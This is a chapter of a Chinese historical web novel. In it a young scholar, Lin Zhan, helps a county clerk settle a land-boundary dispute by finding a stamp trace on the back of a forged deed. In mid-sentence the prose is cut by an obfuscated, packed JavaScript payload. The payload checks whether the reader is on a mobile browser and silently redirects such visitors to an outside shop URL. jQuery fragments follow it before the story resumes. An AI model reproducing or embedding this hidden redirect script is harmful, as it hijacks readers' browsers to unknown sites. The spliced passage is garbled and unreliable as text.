县学的朔望大课告一段落,转眼进了腊月。年关将近,县衙里也格外忙碌——催缴年末钱粮、清理积年旧案、预备新春祭祀,各房书吏忙得脚打后脑勺。王砚之自然也不例外,常常放了学还要去户房帮父亲整理文书。
这日散学后,王砚之叫住了林湛:“林兄,家父今日午后要调处一桩田产纠纷,就在县衙偏堂。案情有些缠夹,家父说若林兄得闲,可往旁观,或能有所启发。”
林湛眼睛一亮。纸上得来终觉浅,能亲眼看看实务中的案件调处,正是求之不得的机会。“多谢砚之兄和王叔,我定当前往。”
铁柱正好也在旁边,闻言嚷道:“我也去我也去!长这么大还没见过县太爷审案呢!”
王砚之笑道:“不是大堂审案,是户房书吏在偏堂调解。铁柱兄想去也无妨,只是需安静些,莫要惊扰。”
午后,三人来到县衙。从侧门进去,穿过几重院落,来到西边一处僻静的偏堂。堂内陈设简单,正中一张长案,两旁数把椅子。王砚之的父亲王书吏已坐在案后,穿着半旧的公服,正翻看一卷卷宗。旁边还坐着个中年书办,记录口供。
见他们进来,王书吏点点头,对林湛温言道:“林秀才来了,坐一旁听听便是。今日是桩田界纠纷,两家争一垄地,各执一词,闹了快半年,乡约里正调解不成,这才告到县里。不是什么大案,但颇费口舌。”
正说着,衙役引着两拨人进来了。一边是个五旬左右的干瘦老汉,姓孙,穿着打补丁的棉袄,身后跟着个愁眉苦脸的妇人,像是他老伴。另一边是个四十来岁的壮实汉子,姓钱,衣着光鲜些,满脸横肉,身后也跟着个精瘦的侄子,眼神滴溜溜乱转。
双方见了王书吏,都跪下磕头。王书吏摆手:“都起来说话。今日是非曲直,需据实陈情,不得妄言。”
孙老汉先开口,声音发颤:“青天老爷明鉴!小民孙老栓,祖祖辈辈住在孙家洼。这垄地,原是小民曾祖父分家时得的,地契上写得明明白白,东至老槐树,西至小水沟。可钱有德这厮,”他指着那壮实汉子,“非说那垄地是他家的,硬说小水沟早就改了道!小民不服,他便带人强行占了我家地头,还打伤了小民的儿子!求老爷做主!”
钱有德立刻嚷道:“放屁!那垄地本来就是我钱家的!孙老栓家的地契是假的!要么就是他自己记错了界!小水沟三十年前发大水就改了道,现在的水沟往西挪了五尺!按现在的水沟为界,那垄地自然是我家的!他儿子先动的手,我那是自卫!”
双方各说各理,情绪激动,互相指斥。王书吏沉着脸,一拍惊堂木:“肃静!一件件说!孙老栓,你的地契何在?”
孙老汉哆哆嗦嗦从怀里掏出个油布包,层层打开,取出一张泛黄发脆的纸。衙役接过,呈给王书吏。王书吏仔细看了,地契是前朝旧式,字迹模糊,但“东至老槐树,西至小水沟”的字样勉强可辨,落款有孙老汉曾祖父的名字和年月,盖着当时的里正印章。
“钱有德,你的地契呢?”王书吏问。
钱有德也拿出一张地契,纸张较新,是近年重立的。“老爷,我家地契上写的是‘东至孙家地界,西至大路’。那‘孙家地界’,自然该以现在的小水沟为界!”
王书吏皱眉:“你如何证明小水沟三十年前改过道?”
钱有德道:“村里老人都知道!可以叫人来作证!再说了,那垄地我家种了快二十年了,孙老栓以前从没说过不是!”
孙老汉急道:“那是因为水沟是慢慢淤塞改道的!早些年差得不远,我也没在意!这几年水沟越淤越往西,他才起了贪心!那地我家也一直在边上种菜,怎能算他种了二十年?”
双方又吵起来。王书吏让他们各自请证人。孙老汉请来的是村里两个年近七旬的老人,都颤巍巍说记得早年水沟确实在现在位置以东,但具体差多少,记不清了。钱有德请来的是他本家一个堂叔和邻居,一口咬定水沟三十年前就改了,那垄地一直是钱家种。
证言互相矛盾。王书吏又派人去取了孙家洼的鱼鳞册(田亩图册)来看。册上标注简略,只有大致方位,也难辨细节。
偏堂里乱哄哄的,各说各话。铁柱在一旁听得直挠头,小声对林湛说:“这咋断?公说公有理,婆说婆有理!”
林湛一直安静听着,目光在地契、鱼鳞册和双方脸上来回移动。他忽然注意到一个细节:孙老汉那张旧地契的边缘,似乎有几处不规则的虫蛀小孔,而纸张的折痕非常深,几乎要断裂,显然是经常折叠取放。钱有德那张新地契,纸张挺括,折痕整齐,像是近些年才慎重收好的。
他又仔细看了看双方的神色。孙老汉夫妇满脸焦虑委屈,说话时不由自主地看向那张旧地契,眼神里有种近乎虔诚的珍视。钱有德则中气十足,但眼神偶尔飘忽,尤其在说到“种了快二十年”时,他那个精瘦的侄子下意识地缩了缩脖子。
林湛心中一动,凑到王砚之耳边低语几句。王砚之点点头,起身走到父亲身边,附耳说了几句。
王书吏看了林湛一眼,略一沉吟,对孙老汉道:“孙老栓,你这地契,平日如何收存?”
孙老汉一愣,答道:“回老爷,一直收在祖宗牌位下的木匣里,逢年过节祭祖时,才会请出来看看,想着这是祖产,不能丢……”
“也就是说,不常示人,更不会轻易带出?”王书吏追问。
“是,是。这回要不是打官司,小民万万不敢带出来。”孙老汉连连点头。
王书吏又转向钱有德:“钱有德,你这张地契,是何时重立的?旧契何在?”
钱有德眼神一闪:“回老爷,是五年前田地重新清丈时,衙门统一给换的。旧契……旧契当时就交上去了。”
“五年前清丈时,”王书吏翻看鱼鳞册,“你这块地的四至,当时是如何勘定的?可有争议记录?”
钱有德支吾道:“当时……当时好像没啥争议,就这么定了。”
这时,林湛起身,对王书吏拱手道:“王书吏,学生斗胆,可否看看这两张地契的背面?”
王书吏点头。衙役将两张地契反过来摊在案上。旧地契背面空白,只有些陈年污渍和细小的虫蛀痕。新地契背面,却有几个淡淡的、不甚清晰的墨点,像是曾经被什么文件压着沾染上的。
林湛指着那几个墨点:“王书吏请看,这墨迹虽淡,但细看,似乎是个残缺的印章痕迹,像是……‘户房核验’的半个印。”
王书吏眯眼细看,又拿起对着光端详,果然,那墨点隐约能看出印章的边角和笔画。他脸色一沉,看向钱有德:“钱有德,你这地契背面,为何会有户房核
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182190|196937||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
验印章的痕迹?既是衙门统一换发的新契,核验用印当在正面,且是完整清晰的!”
钱有德脸色一变,强辩道:“这……这或许是沾了别的文书……”
“不对。”林湛接口,语气平和却清晰,“这墨迹的印油颜色,与正面官印一致。且痕迹位置,像是这张纸曾被折叠,与另一张盖有核验印的纸张紧贴,从而沾染。学生猜想,是否当初换发新契时,衙门出具过一份‘核验文书’,与地契一同交给业主?那份核验文书上,应有完整印章。而钱有德这张地契背面的痕迹,正说明它曾与那份核验文书叠放。若真是如此,那份核验文书中,或许会详细记载当时勘界情况,包括有无争议。”
他顿了顿,看向钱有德:“钱掌柜,那份衙门出具的‘田地清丈核验文书’,您可还保存着?上面应当清楚写着您这块地的四至界定,以及当时是否有邻地争议记录。若有,不妨取来一观,真相自明。”
钱有德额头顿时冒出汗来,脸色青白交错。他嘴唇哆嗦,一时说不出话。他那精瘦的侄子更是吓得往后缩。
王书吏哪还有不明白的?他一拍惊堂木:“钱有德!还不从实招来!那份核验文书何在?当年清丈时,这地界到底有无争议?”
钱有德扑通跪下,磕头如捣蒜:“老爷饶命!老爷饶命!那文书……那文书早让我烧了!当年清丈时,孙老栓是提过一句界石好像不对,但……但负责清丈的书吏是我远房表亲,他跟我说水沟改道是事实,按现在界划对我有利,我就……我就默许了!后来换新契,也是他帮我办的!那垄地,确实……确实该是孙家的!小民一时贪心,求老爷开恩!”
真相大白。孙老汉老泪纵横,连连磕头谢恩。钱有德被判退还强占土地,赔偿孙家医药损失,另罚银十两,并具结保证不再生事。
退堂后,王书吏看着林湛,眼中满是赞赏:“林秀才心思缜密,观察入微。那地契背面的蛛丝马迹,若非你提醒,险些被蒙混过去。这份洞察力,实在难得。”
林湛谦道:“王叔过奖。不过是学生平日里爱琢磨些细处,侥幸看出点端倪。实务断案,千头万绪,学生今日方知其中艰难。”
王砚之也笑道:“林兄总是这般谦虚。”
铁柱则是满脸佩服:“湛哥儿,你真神了!我听得一团浆糊,你怎么就看出那纸背后有鬼?”
四人说笑着走出县衙偏堂。冬日午后的阳光稀薄,照在青石板上,泛着清冷的光。院中那株老梅已打了满树花苞,倔强地迎着寒风。
王书吏送到门口,对林湛道:“往后若对刑名钱谷实务有兴趣,随时可来找老夫。衙门里旧卷堆积,许多案例,或可与你切磋探讨。”
“谢王叔。”林湛郑重行礼。
走出县衙,街市上已有了些年关的气氛。卖年画、春联、爆竹的摊子支了起来,吆喝声此起彼伏。远处,不知谁家正在杀年猪,猪的嘶叫声隐约传来,混着孩童的嬉闹,汇成一片嘈杂而充满生气的市井交响。
铁柱吸了吸鼻子:“唔,有炸丸子的香味!湛哥儿,咱们买点回去,给林婶尝尝!”
林湛笑着点头。他回头望了一眼县衙那肃穆的朱漆大门,又看了看手中王书吏刚刚赠送的一卷《刑案辑要》抄本,心中那份对“经世致用”之路的信念,越发清晰坚定起来。